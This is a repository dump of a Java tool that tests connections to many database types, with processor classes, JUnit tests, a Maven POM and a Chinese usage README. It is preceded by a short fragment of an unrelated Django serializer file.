fields = ('description','vote','comment_set')
class UserVoteThreadSerializer(serializers.ModelSerializer):
class Meta:
model = UserVoteThread
fields = ('status','user')
class UserVoteAnswerSerializer(serializers.ModelSerializer):
class Meta:
model = UserVoteAnswer
fields = ('status','user')
class ThreadSerializer(serializers.ModelSerializer):
# answer_set = serializers.PrimaryKeyRelatedField(many=True, queryset=Answer.objects.all())
# response_set = serializers.PrimaryKeyRelatedField(many=True, queryset=Response.objects.all())
# tag_set = serializers.PrimaryKeyRelatedField(many=True, queryset=Tag.objects.all())
answer_set = AnswerSerializer(many=True, read_only=True)
response_set = ResponseSerializer(many=True, read_only=True)
tag_set = TagSerializer(many=True, read_only=True)
class Meta:
model = Thread
fields = ('pk','title','description','created_at', 'vote', 'tag_set','response_set','answer_set')
class ShortThreadSerializer(serializers.ModelSerializer):
tag_set = TagSerializer(many=True, read_only=True)
class Meta:
model = Thread
fields = ('pk','title','description','created_at', 'vote', 'tag_set')
|
824e3006ec9350924cf51944966457c41edcaa57
|
[
"Python"
] | 5
|
Python
|
faysalswe/QA_Forum_DRF
|
b4f2cdc755cfd20060a86d285924bf6a2fdc2d5f
|
9c7d9548effde1a730406919ae68de7a64a0f75b
|
refs/heads/master
|
<file_sep>package com.mchz.tool.dstest.processor;
import com.mchz.tool.dstest.domain.auth.DsUsernamePasswordAuth;
import org.junit.Assert;
import org.junit.Test;
public class MongoDBTestProcessorTest {
private MongoDBTestProcessor mongoProcessor = new MongoDBTestProcessor();
private DsUsernamePasswordAuth dsUsernamePasswordAuth = new DsUsernamePasswordAuth();
@Test
public void validateNoAuth() {
dsUsernamePasswordAuth.setAddress("192.168.202.2");
dsUsernamePasswordAuth.setPort(27017);
Assert.assertTrue("mongo测试服务失败", mongoProcessor.testService(dsUsernamePasswordAuth.getAddress(), dsUsernamePasswordAuth.getPort()));
Assert.assertTrue("mongo测试连接失败", mongoProcessor.validateNoAuth(dsUsernamePasswordAuth));
}
@Test
public void validateUsernamePasswordAuth() {
dsUsernamePasswordAuth.setAddress("192.168.202.2");
dsUsernamePasswordAuth.setPort(27017);
dsUsernamePasswordAuth.setUserName("test");
dsUsernamePasswordAuth.setPassword("<PASSWORD>");
dsUsernamePasswordAuth.setInstanceName("test");
Assert.assertTrue("mongo测试连接失败", mongoProcessor.validateUsernamePasswordAuth(dsUsernamePasswordAuth));
}
}<file_sep>package com.mchz.tool.dstest.processor;
import com.mchz.tool.dstest.domain.DsConnection;
import com.mchz.tool.dstest.enums.DBType;
import com.mchz.tool.dstest.enums.DBAuthMode;
/**
* soc
* 2021/2/4 16:42
* 数据源测试处理器
*
* @author lanhaifeng
* @since
**/
public interface DsTestProcessor {
/**
* 2021/2/4 16:42
* 测试服务
*
* @param ip
* @param port
* @author lanhaifeng
* @return boolean
*/
boolean testService(String ip, Integer port);
/**
* 2021/2/4 18:36
* 测试验证
*
* @param dsAuthMode
* @param dsConnection
* @author lanhaifeng
* @return boolean
*/
boolean testConnection(DBAuthMode dsAuthMode, DsConnection dsConnection);
/**
* 2021/2/4 18:55
* 该处理器支持的类型
*
* @param
* @author lanhaifeng
* @return boolean
*/
boolean support(DBType dbType);
}
<file_sep>package com.mchz.tool.dstest.domain.auth;
import com.mchz.tool.dstest.enums.DBAuthMode;
/**
* soc
* 2021/1/26 18:21
* 用户名密码认证信息
*
* @author lanhaifeng
* @since
**/
public class DsUsernamePasswordAuth extends DsUsernameAuth {
/**
* 密码
*/
private String password;
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
@Override
public DBAuthMode getDBAuthMode() {
return DBAuthMode.USERNAME_PASSWORD_AUTH;
}
}
<file_sep>package com.mchz.tool.dstest.processor;
import com.mchz.tool.dstest.domain.DsConnection;
import com.mchz.tool.dstest.domain.auth.DsUsernamePasswordAuth;
import com.mchz.tool.dstest.enums.DBType;
import org.apache.commons.lang.StringUtils;
import org.apache.commons.lang.exception.ExceptionUtils;
import org.apache.http.HttpHost;
import org.apache.http.auth.AuthScope;
import org.apache.http.auth.UsernamePasswordCredentials;
import org.apache.http.client.CredentialsProvider;
import org.apache.http.impl.client.BasicCredentialsProvider;
import org.elasticsearch.client.RequestOptions;
import org.elasticsearch.client.RestClient;
import org.elasticsearch.client.RestClientBuilder;
import org.elasticsearch.client.RestHighLevelClient;
import java.io.IOException;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
/**
* soc
* 2021/2/22 10:22
* ElasticSearch测试连接
*
* @author lanhaifeng
* @since
**/
public class ElasticSearchTestProcessor extends AbstractDsTestProcessor {
@Override
public List<DBType> getSupportDbTypes() {
return Arrays.asList(DBType.ELASTICSEARCH);
}
/**
* @param dsConnection
* @return
*/
@Override
protected boolean validateNoAuth(DsConnection dsConnection) {
return validate(dsConnection);
}
@Override
protected boolean validateUsernamePasswordAuth(DsUsernamePasswordAuth dsUsernamePasswordAuth) {
return validate(dsUsernamePasswordAuth);
}
private static boolean validate(DsConnection dsConnection) {
RestHighLevelClient client = null;
try {
RestClientBuilder restClientBuilder = RestClient.builder(
new HttpHost(dsConnection.getAddress(), dsConnection.getPort()));
if(dsConnection instanceof DsUsernamePasswordAuth){
String userName = ((DsUsernamePasswordAuth) dsConnection).getUserName();
String password = ((DsUsernamePasswordAuth) dsConnection).getPassword();
if(StringUtils.isNotBlank(userName) && StringUtils.isNotBlank(password)){
CredentialsProvider credentialsProvider = new BasicCredentialsProvider();
credentialsProvider.setCredentials(AuthScope.ANY, new UsernamePasswordCredentials(userName, password));
restClientBuilder.setHttpClientConfigCallback(httpClientBuilder -> {
httpClientBuilder.disableAuthCaching();
return httpClientBuilder.setDefaultCredentialsProvider(credentialsProvider);
});
}
}
client = new RestHighLevelClient(restClientBuilder);
return client.ping(RequestOptions.DEFAULT);
} catch (Exception e) {
logger.error("ElasticSearch测试连接错误:" + ExceptionUtils.getFullStackTrace(e));
return false;
}finally {
if(Objects.nonNull(client)){
try {
client.close();
} catch (IOException e) {
logger.error("ElasticSearch关闭连接错误:" + ExceptionUtils.getFullStackTrace(e));
}
}
}
}
}
<file_sep>package com.mchz.tool.dstest.constants;
import com.mchz.tool.dstest.enums.DBType;
import java.util.Arrays;
import java.util.List;
/**
* soc
* 2021/2/4 20:03
* 常量类
*
* @author lanhaifeng
* @since
**/
public class DsTestConstant {
/**
* 使用JdbcTestProcessor的数据库集合
*/
public static List<DBType> jdbcDbTypes = Arrays.asList(
);
/**
* 使用DatabaseCliProcessor的数据库集合
*/
public static List<DBType> databaseCliDbTypes = Arrays.asList(
DBType.GBASE, DBType.SYBASE, DBType.DAMENG, DBType.ORACLE,
DBType.REDIS, DBType.MONGODB, DBType.ELASTICSEARCH,
DBType.MARIADB, DBType.HIGHGODB, DBType.INFORMIX, DBType.OSCAR,
DBType.KINGBASE, DBType.GREENPLUM, DBType.SQLSERVER, DBType.DB2, DBType.MYSQL, DBType.POSTGRESQL, DBType.K_DB,
DBType.RDS_MYSQL, DBType.RDS_POSTGRESQL, DBType.RDS_SQLSERVER);
}
<file_sep>package com.mchz.tool.dstest.processor;
import cn.hutool.core.codec.Base64;
import cn.hutool.core.io.file.FileReader;
import com.mchz.datasource.cli.DatasourceDatabaseCli;
import com.mchz.mcdatasource.core.DataBaseType;
import com.mchz.mcdatasource.core.DatasourceConstant;
import com.mchz.tool.dstest.domain.auth.DsKerberosAuth;
import com.mchz.tool.dstest.domain.auth.DsUsernamePasswordAuth;
import com.mchz.tool.dstest.enums.DBType;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.hbase.HBaseConfiguration;
import org.apache.hadoop.hbase.client.Connection;
import org.apache.hadoop.hbase.client.ConnectionFactory;
import org.junit.Before;
import org.junit.Test;
import java.io.IOException;
import java.util.Properties;
public class HbaseTestProcessorTest {
private HbaseTestProcessor hbaseTestProcessor = new HbaseTestProcessor();
private DsUsernamePasswordAuth dsUsernamePasswordAuth = new DsUsernamePasswordAuth();
private DsKerberosAuth dsKerberosAuth = new DsKerberosAuth();
@Before
public void setUp() throws Exception {
System.setProperty(DatasourceConstant.MCDATASOURCE_HOME, "F:\\mcdatasource");
}
@Test
public void testHbase1() throws Exception {
Properties properties = new Properties();
// 获得File对象,当然也可以获取输入流对象
String keytab = Base64.encode(new FileReader(HbaseTestProcessorTest.class.getClassLoader().getResource("hbase/hbase.keytab").getFile()).readBytes());
String krb5 = Base64.encode(new FileReader(HbaseTestProcessorTest.class.getClassLoader().getResource("hbase/krb5.conf").getFile()).readBytes());
properties.setProperty(DatasourceConstant.KEY_DB_LOGIN_KEYTAB_CONTENT, keytab);
properties.setProperty(DatasourceConstant.KEY_DB_KRB5_CONTENT, krb5);
properties.setProperty(DatasourceConstant.KEY_DB_LOGIN_PRINCIPAL, "<EMAIL>");
DatasourceDatabaseCli datasourceDatabase =
new DatasourceDatabaseCli(DataBaseType.HBASE.id, "192.168.200.167", "", "2181", "", "", true,properties);
datasourceDatabase.connect(true);
}
@Test
public void testHbase2() throws IOException {
Configuration config = HBaseConfiguration.create();
config.set("hbase.zookeeper.quorum", "192.168.239.1");// zookeeper地址
config.set("hbase.zookeeper.property.clientPort", "2181");// zookeeper端口
config.setInt("hbase.client.retries.number", 2);
Connection connection = ConnectionFactory.createConnection(config);
connection.getAdmin().listTableNames();
}
@Test
public void testHbase3() throws Exception {
DatasourceDatabaseCli datasourceDatabase =
new DatasourceDatabaseCli(DataBaseType.HBASE.id, "192.168.239.1",
"", "2181", "", "", true);
datasourceDatabase.connect(true);
}
@Test
public void testHbase4() {
dsKerberosAuth.setAddress("192.168.200.167");
dsKerberosAuth.setPort(2181);
dsKerberosAuth.setDbType(DBType.HBASE.getDbTypeValue());
dsKerberosAuth.setUserName("<EMAIL>");
dsKerberosAuth.setClientKeyTabFile(HbaseTestProcessorTest.class.getClassLoader().getResource("hbase/hbase.keytab").getFile());
dsKerberosAuth.setConfigFile(HbaseTestProcessorTest.class.getClassLoader().getResource("hbase/krb5.conf").getFile());
org.junit.Assert.assertTrue("hbase测试连接失败", hbaseTestProcessor.validateNoAuth(dsKerberosAuth));
}
@Test
public void testHbase5() {
dsUsernamePasswordAuth.setAddress("192.168.239.1");
dsUsernamePasswordAuth.setPort(2181);
dsUsernamePasswordAuth.setDbType(DBType.HBASE.getDbTypeValue());
org.junit.Assert.assertTrue("hbase测试连接失败", hbaseTestProcessor.validateUsernamePasswordAuth(dsUsernamePasswordAuth));
}
}
<file_sep>package com.mchz.tool.dstest.processor;
import com.mchz.tool.dstest.DsTestDelegate;
import com.mchz.tool.dstest.domain.auth.DsUsernamePasswordAuth;
import com.mchz.tool.dstest.enums.DBType;
import org.junit.Assert;
import org.junit.Ignore;
import org.junit.Test;
public class JdbcTestProcessorTest {
JdbcTestProcessor jdbcTestProcessor = new JdbcTestProcessor();
private DsUsernamePasswordAuth auth = new DsUsernamePasswordAuth();
@Test
public void testOracle1() {
auth.setAddress("192.168.240.227");
auth.setPort(1521);
auth.setUserName("c##sh");
auth.setPassword("sh");
auth.setInstanceName("ORCL");
auth.setDbType(DBType.ORACLE.getDbTypeValue());
Assert.assertTrue("测试oracle服务失败", jdbcTestProcessor.testService(auth.getAddress(), auth.getPort()));
Assert.assertTrue("测试oracle连接失败", jdbcTestProcessor.validateUsernamePasswordAuth(auth));
}
@Test
public void testOracle2() {
auth.setAddress("192.168.202.13");
auth.setPort(1521);
auth.setInstanceName("ora9i");
auth.setDbType(DBType.ORACLE.getDbTypeValue());
auth.setUserName("system");
auth.setPassword("<PASSWORD>");
Assert.assertTrue("测试oracle服务失败", jdbcTestProcessor.testService(auth.getAddress(), auth.getPort()));
Assert.assertTrue("测试oracle连接失败", jdbcTestProcessor.validateUsernamePasswordAuth(auth));
}
@Test
public void testKingbase1() {
auth.setAddress("192.168.202.60");
auth.setPort(54321);
auth.setInstanceName("TEST");
auth.setDbType(DBType.KINGBASE.getDbTypeValue());
auth.setUserName("SYSTEM");
auth.setPassword("<PASSWORD>");
Assert.assertTrue("测试Kingbase服务失败", jdbcTestProcessor.testService(auth.getAddress(), auth.getPort()));
Assert.assertTrue("测试Kingbase连接失败", jdbcTestProcessor.validateUsernamePasswordAuth(auth));
}
@Test
public void testMariadb() {
auth.setAddress("192.168.202.128");
auth.setPort(3306);
auth.setDbType(DBType.MARIADB.getDbTypeValue());
auth.setUserName("root");
auth.setPassword("<PASSWORD>");
auth.setInstanceName("test");
Assert.assertTrue("测试Mariadb服务失败", jdbcTestProcessor.testService(auth.getAddress(), auth.getPort()));
Assert.assertTrue("测试Mariadb连接失败", jdbcTestProcessor.validateUsernamePasswordAuth(auth));
}
@Test
@Ignore
public void testGbaseConnection() {
auth.setAddress("192.168.238.214");
auth.setPort(5258);
auth.setInstanceName("ylhzmc");
auth.setDbType(DBType.GBASE.getDbTypeValue());
auth.setUserName("sysdba");
auth.setPassword("<PASSWORD>");
Assert.assertTrue("测试gbase服务失败", jdbcTestProcessor.testService(auth.getAddress(), auth.getPort()));
Assert.assertTrue("测试gbase连接失败", jdbcTestProcessor.validateUsernamePasswordAuth(auth));
}
}<file_sep><?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.mchz.tool</groupId>
<artifactId>ds-test</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>jar</packaging>
<properties>
<java.version>1.8</java.version>
<slf4j.version>1.7.20</slf4j.version>
</properties>
<repositories>
<repository>
<id>local_nexus</id>
<name>local nexus</name>
<url>http://nexus.mchz.com.cn:8081/nexus/repository/public</url>
<snapshots>
<enabled>true</enabled>
<updatePolicy>always</updatePolicy>
</snapshots>
</repository>
<repository>
<id>aliyun</id>
<name>aliyun</name>
<url>http://maven.aliyun.com/nexus/content/groups/public</url>
</repository>
<repository>
<id>Atlassian-3rd-Party-Repository</id>
<name>Atlassian 3rd-Party Repository</name>
<url>https://maven.atlassian.com/3rdparty/</url>
</repository>
<repository>
<id>java-repos</id>
<name>Java Repository</name>
<url>http://download.java.net/maven/2/</url>
</repository>
<repository>
<id>activiti-repos</id>
<name>Activiti Repository</name>
<url>https://maven.alfresco.com/nexus/content/groups/public</url>
</repository>
<repository>
<id>activiti-repos2</id>
<name>Activiti Repository 2</name>
<url>https://app.camunda.com/nexus/content/groups/public</url>
</repository>
<repository>
<id>thinkgem-repos</id>
<name>ThinkGem Repository</name>
<url>http://git.oschina.net/thinkgem/repos/raw/master</url>
</repository>
<repository>
<id>thinkgem-repos2</id>
<name>ThinkGem Repository 2</name>
<url>https://raw.github.com/thinkgem/repository/master</url>
</repository>
</repositories>
<distributionManagement>
<repository>
<id>nexus-releases</id>
<name>nexus-releases</name>
<url>http://nexus.mchz.com.cn:8081/nexus/content/repositories/releases/</url>
</repository>
<snapshotRepository>
<id>nexus-snapshots</id>
<name>nexus-snapshots</name>
<url>http://nexus.mchz.com.cn:8081/nexus/content/repositories/snapshots/</url>
</snapshotRepository>
</distributionManagement>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
<encoding>UTF-8</encoding>
</configuration>
</plugin>
</plugins>
<resources>
<resource>
<directory>src/main/resources</directory>
<filtering>false</filtering>
<includes>
<include>**/*.*</include>
</includes>
</resource>
</resources>
<testResources>
<testResource>
<directory>src/test/resources</directory>
<filtering>false</filtering>
<includes>
<include>**/*.*</include>
</includes>
</testResource>
</testResources>
</build>
<dependencies>
<!--jackson-->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.1</version>
</dependency>
<!--jsr 303-->
<dependency>
<groupId>javax.validation</groupId>
<artifactId>validation-api</artifactId>
<version>1.1.0.Final</version>
</dependency>
<!-- hibernate validator-->
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-validator</artifactId>
<version>5.2.0.Final</version>
</dependency>
<dependency>
<groupId>javax.el</groupId>
<artifactId>javax.el-api</artifactId>
<version>2.2.4</version>
</dependency>
<dependency>
<groupId>org.glassfish.web</groupId>
<artifactId>javax.el</artifactId>
<version>2.2.4</version>
</dependency>
<!-- commons-lang -->
<dependency>
<groupId>commons-lang</groupId>
<artifactId>commons-lang</artifactId>
<version>2.4</version>
</dependency>
<!-- slf4j -->
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>${slf4j.version}</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<version>${slf4j.version}</version>
</dependency>
<!-- logback -->
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-classic</artifactId>
<version>1.1.7</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-access</artifactId>
<version>1.1.7</version>
<scope>provided</scope>
</dependency>
<!-- mysql driver -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.42</version>
<scope>test</scope>
</dependency>
<!-- jtds driver -->
<dependency>
<groupId>net.sourceforge.jtds</groupId>
<artifactId>jtds</artifactId>
<version>1.3.1</version>
<scope>test</scope>
</dependency>
<!-- oracle driver -->
<dependency>
<groupId>com.oracle</groupId>
<artifactId>ojdbc6</artifactId>
<version>11.2.0.4.0-atlassian-hosted</version>
<scope>test</scope>
</dependency>
<!-- oscar driver -->
<dependency>
<groupId>com.esen.jdbc</groupId>
<artifactId>oscarJDBC</artifactId>
<version>1.0</version>
<scope>test</scope>
</dependency>
<!-- informix driver -->
<dependency>
<groupId>com.ibm.informix</groupId>
<artifactId>jdbc</artifactId>
<version>4.50.3</version>
<scope>test</scope>
</dependency>
<!-- kingbase driver -->
<dependency>
<groupId>com.kingbase8</groupId>
<artifactId>jdbc</artifactId>
<version>1.0</version>
<scope>test</scope>
</dependency>
<!-- mariadb -->
<dependency>
<groupId>org.mariadb.jdbc</groupId>
<artifactId>mariadb-java-client</artifactId>
<version>2.4.3</version>
<scope>test</scope>
</dependency>
<!-- hbase -->
<dependency>
<groupId>org.apache.hbase</groupId>
<artifactId>hbase-client</artifactId>
<version>1.3.1</version>
<scope>test</scope>
<exclusions>
<exclusion>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpclient</artifactId>
</exclusion>
</exclusions>
</dependency>
<!-- mongo driver -->
<dependency>
<groupId>org.mongodb</groupId>
<artifactId>mongo-java-driver</artifactId>
<version>2.13.0</version>
</dependency>
<dependency>
<groupId>org.mongodb</groupId>
<artifactId>bson</artifactId>
<version>3.8.0</version>
</dependency>
<!-- redis -->
<dependency>
<groupId>redis.clients</groupId>
<artifactId>jedis</artifactId>
<version>2.9.0</version>
</dependency>
<!-- elasticsearch -->
<dependency>
<groupId>org.elasticsearch.client</groupId>
<artifactId>transport</artifactId>
<version>7.7.0</version>
</dependency>
<dependency>
<groupId>org.elasticsearch.client</groupId>
<artifactId>elasticsearch-rest-high-level-client</artifactId>
<version>7.7.0</version>
</dependency>
<!--<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.5.7</version>
</dependency>-->
<!-- postgresql driver -->
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.2.4.jre7</version>
<scope>test</scope>
</dependency>
<!-- datasource-cli -->
<dependency>
<groupId>com.mchz</groupId>
<artifactId>datasource-cli</artifactId>
<version>1.3.0-SNAPSHOT</version>
</dependency>
<!-- test -->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
</dependencies>
</project><file_sep>package com.mchz.tool.dstest.util;
import org.apache.commons.lang.StringUtils;
import org.apache.commons.lang.math.IntRange;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.IOException;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.util.Objects;
/**
* soc
* 2021/2/4 17:25
* ip工具类
*
* @author lanhaifeng
* @since
**/
public class IpUtils {
private static Logger logger = LoggerFactory.getLogger(IpUtils.class);
/**
* 2021/2/4 17:29
* 检测Ip和端口是否可用
*
* @param ip
* @param port
* @author lanhaifeng
* @return boolean
*/
public static boolean checkIpPort(String ip, Integer port) {
if(StringUtils.isBlank(ip) || StringUtils.isBlank(ip.trim()) ||
Objects.isNull(port) || !new IntRange(1, 65535).containsInteger(port)){
return false;
}
Socket socket = new Socket();
try {
socket.connect(new InetSocketAddress(ip,port),3000);
return true;
} catch (Exception e) {
logger.warn("地址和端口号不可用 {}:{}", ip, port);
return false;
} finally {
if (socket != null) {
try {
socket.close();
} catch (IOException e) {
}
}
}
}
/**
* 检测Ip地址
*
* @param ip
* @return
*/
public static boolean checkIp(String ip){
try {
InetAddress.getByName(ip).isReachable(3000);
return true;
} catch (IOException e) {
logger.warn("Ip不可用 {}", ip);
return false;
}
}
}
<file_sep>1.导入客户端依赖
```
<dependency>
<groupId>com.mchz</groupId>
<artifactId>datasource-cli</artifactId>
<version>1.3.0-SNAPSHOT</version>
</dependency>
```
注:springboot使用该jar包时,使用注解排除JooqAutoConfiguration自动配置,否则会导致启动卡死
```
@SpringBootApplication(exclude = {MongoAutoConfiguration. class, JooqAutoConfiguration.class} )
```
2.使用
2.0数据源包地址
```
http://file.mchz.com.cn/projects/mcdatasource/mcdatasource-package-1.3.0.4-soc-patch-bin.zip
```
下载解压该压缩文件到指定路径`/data`
2.1设置环境变量
```
setProperty(DatasourceConstant.MCDATASOURCE_HOME, "/data/mcdatasource");
```
2.2获取连接
```
/**
* 测试连接
*
* 测试成功---> 没有抛出异常
* 测试失败 ---> 抛出异常
*
*
* @throws Exception
*/
@Test
public void hiveConnectTest() throws Exception {
DatasourceDatabaseCli datasourceDatabaseCli = new DatasourceDatabaseCli(DataBaseType.HIVE.id,
"192.168.239.1", "chail", "10000", "hive", "");
datasourceDatabaseCli.connect(true);
}
```
3.常用驱动包
```xml
<!-- oracle driver -->
<dependency>
<groupId>com.oracle</groupId>
<artifactId>ojdbc6</artifactId>
<version>11.2.0.4.0-atlassian-hosted</version>
</dependency>
<!-- sqlserver driver -->
<dependency>
<groupId>com.microsoft.sqlserver</groupId>
<artifactId>sqljdbc4</artifactId>
<version>4.0</version>
</dependency>
<!-- mysql driver -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.42</version>
</dependency>
<!-- dameng driver -->
<dependency>
<groupId>com.dameng</groupId>
<artifactId>Dm7JdbcDriver17</artifactId>
<version>7.6.0.77</version>
</dependency>
<!-- jtds driver -->
<dependency>
<groupId>net.sourceforge.jtds</groupId>
<artifactId>jtds</artifactId>
<version>1.3.1</version>
</dependency>
<!-- oscar driver -->
<dependency>
<groupId>com.esen.jdbc</groupId>
<artifactId>oscarJDBC</artifactId>
<version>1.0</version>
</dependency>
<!-- db2 driver -->
<dependency>
<groupId>com.ibm.db2.jcc</groupId>
<artifactId>db2jcc4</artifactId>
<version>10.1</version>
</dependency>
<!-- hive driver -->
<dependency>
<groupId>org.apache.hive</groupId>
<artifactId>hive-jdbc</artifactId>
<version>1.2.2</version>
</dependency>
<!-- postgresql driver -->
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.2.4.jre7</version>
</dependency>
<!-- mongo driver -->
<dependency>
<groupId>org.mongodb</groupId>
<artifactId>mongo-java-driver</artifactId>
<version>2.13.0</version>
</dependency>
<dependency>
<groupId>org.mongodb</groupId>
<artifactId>bson</artifactId>
<version>3.8.0</version>
</dependency>
<!-- informix driver -->
<dependency>
<groupId>com.ibm.informix</groupId>
<artifactId>jdbc</artifactId>
<version>4.50.3</version>
</dependency>
<!-- kingbase driver -->
<dependency>
<groupId>com.kingbase8</groupId>
<artifactId>jdbc</artifactId>
<version>1.0</version>
</dependency>
<!-- K-DB driver -->
<dependency>
<groupId>com.inspur</groupId>
<artifactId>inspur-jdbc</artifactId>
<version>11</version>
</dependency>
<!-- Gbase driver -->
<dependency>
<groupId>com.gbase</groupId>
<artifactId>jdbc</artifactId>
<version>8.3.81.53</version>
<classifier>bin</classifier>
</dependency>
<!-- redis -->
<dependency>
<groupId>redis.clients</groupId>
<artifactId>jedis</artifactId>
<version>2.9.0</version>
</dependency>
<!-- elasticsearch -->
<dependency>
<groupId>org.elasticsearch.client</groupId>
<artifactId>transport</artifactId>
<version>7.7.0</version>
</dependency>
<dependency>
<groupId>org.elasticsearch.client</groupId>
<artifactId>elasticsearch-rest-high-level-client</artifactId>
<version>7.7.0</version>
</dependency>
<!-- sybase driver -->
<dependency>
<groupId>com.sybase</groupId>
<artifactId>jdbc4</artifactId>
<version>16.0</version>
</dependency>
<!-- hbase driver -->
<dependency>
<groupId>org.apache.hbase</groupId>
<artifactId>hbase-client</artifactId>
<version>1.3.1</version>
</dependency>
```<file_sep>package com.mchz.tool.dstest.processor;
import com.mchz.mcdatasource.core.DataBaseType;
import com.mchz.tool.dstest.domain.DsConnection;
import com.mchz.tool.dstest.domain.auth.DsKerberosAuth;
import com.mchz.tool.dstest.domain.auth.DsLdapAuth;
import com.mchz.tool.dstest.domain.auth.DsUsernameAuth;
import com.mchz.tool.dstest.domain.auth.DsUsernamePasswordAuth;
import com.mchz.tool.dstest.enums.DBAuthMode;
import com.mchz.tool.dstest.enums.DBType;
import com.mchz.tool.dstest.exception.NotSupportDbAuthException;
import com.mchz.tool.dstest.util.IpUtils;
import com.mchz.tool.dstest.util.ValidateUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
/**
* soc
* 2021/2/4 17:23
* 数据源测试抽象类
*
* @author lanhaifeng
* @since
**/
public abstract class AbstractDsTestProcessor implements DsTestProcessor {
protected static Logger logger = LoggerFactory.getLogger(AbstractDsTestProcessor.class);
@Override
public boolean testService(String ip, Integer port) {
return IpUtils.checkIpPort(ip, port);
}
@Override
public boolean testConnection(DBAuthMode dsAuthMode, DsConnection dsConnection) {
if(Objects.isNull(dsAuthMode) || Objects.isNull(dsConnection) || !ValidateUtils.validateResult(dsConnection)
|| !support(dsConnection.getDbTypeDict())){
return false;
}
switch (dsAuthMode){
case NO_AUTH:
return validateNoAuth(dsConnection);
case USERNAME_AUTH:
return dsConnection instanceof DsUsernameAuth && validateUsernameAuth((DsUsernameAuth)dsConnection);
case USERNAME_PASSWORD_AUTH:
return dsConnection instanceof DsUsernamePasswordAuth && validateUsernamePasswordAuth((DsUsernamePasswordAuth)dsConnection);
case LDAP_AUTH:
return dsConnection instanceof DsLdapAuth && validateLdapAuth((DsLdapAuth)dsConnection);
case KERBEROS_AUTH:
return dsConnection instanceof DsKerberosAuth && validateKerberosAuth((DsKerberosAuth)dsConnection);
}
return false;
}
@Override
public boolean support(DBType dbType) {
return Objects.nonNull(dbType) && Objects.nonNull(getSupportDbTypes()) && getSupportDbTypes().contains(dbType);
}
/**
* 2021/2/4 19:01
* 获取支持的数据库类型
*
* @param
* @author lanhaifeng
* @return java.util.List<com.mchz.tool.ds.enums.DBType>
*/
public abstract List<DBType> getSupportDbTypes();
/**
* 2021/2/4 18:49
* 根据用户名测试连接
*
* @param dsUsernameAuth
* @author lanhaifeng
* @return boolean
*/
protected boolean validateUsernameAuth(DsUsernameAuth dsUsernameAuth){
throw new NotSupportDbAuthException(dsUsernameAuth.getDbTypeDict(), DBAuthMode.USERNAME_AUTH);
}
/**
* 2021/2/4 18:49
* 根据用户名密码测试连接
*
* @param dsUsernamePasswordAuth
* @author lanhaifeng
* @return boolean
*/
protected boolean validateUsernamePasswordAuth(DsUsernamePasswordAuth dsUsernamePasswordAuth){
throw new NotSupportDbAuthException(dsUsernamePasswordAuth.getDbTypeDict(), DBAuthMode.USERNAME_PASSWORD_AUTH);
}
/**
* 2021/2/4 18:49
* 根据ldap测试连接
*
* @param ldapAuth
* @author lanhaifeng
* @return boolean
*/
protected boolean validateLdapAuth(DsLdapAuth ldapAuth){
throw new NotSupportDbAuthException(ldapAuth.getDbTypeDict(), DBAuthMode.LDAP_AUTH);
}
/**
* 2021/2/4 18:49
* 根据kerberos测试连接
*
* @param dsKerberosAuth
* @author lanhaifeng
* @return boolean
*/
protected boolean validateKerberosAuth(DsKerberosAuth dsKerberosAuth){
throw new NotSupportDbAuthException(dsKerberosAuth.getDbTypeDict(), DBAuthMode.KERBEROS_AUTH);
}
/**
* 2021/2/22 9:43
* 无认证测试连接
*
* @param dsConnection
* @author lanhaifeng
* @return boolean
*/
protected boolean validateNoAuth(DsConnection dsConnection){
throw new NotSupportDbAuthException(dsConnection.getDbTypeDict(), DBAuthMode.NO_AUTH);
}
protected List<DataBaseType> toDataBaseType(DsConnection dsConnection){
DBType dbType = dsConnection.getDbTypeDict();
if(Objects.isNull(dbType)){
return null;
}
List<DataBaseType> dataBaseTypes = new ArrayList<>();
switch (dbType) {
case MYSQL:
dataBaseTypes.add(DataBaseType.MYSQL);
dataBaseTypes.add(DataBaseType.MYSQL_5);
dataBaseTypes.add(DataBaseType.MYSQL_8);
break;
case SQLSERVER:
case RDS_SQLSERVER:
dataBaseTypes.add(DataBaseType.MSSQL);
break;
case POSTGRESQL:
dataBaseTypes.add(DataBaseType.PGSQL);
break;
case DAMENG:
dataBaseTypes.add(DataBaseType.DM);
break;
case HIVE:
dataBaseTypes.add(DataBaseType.HIVE);
dataBaseTypes.add(DataBaseType.HIVE_FHD653);
dataBaseTypes.add(DataBaseType.HIVE_TDH6);
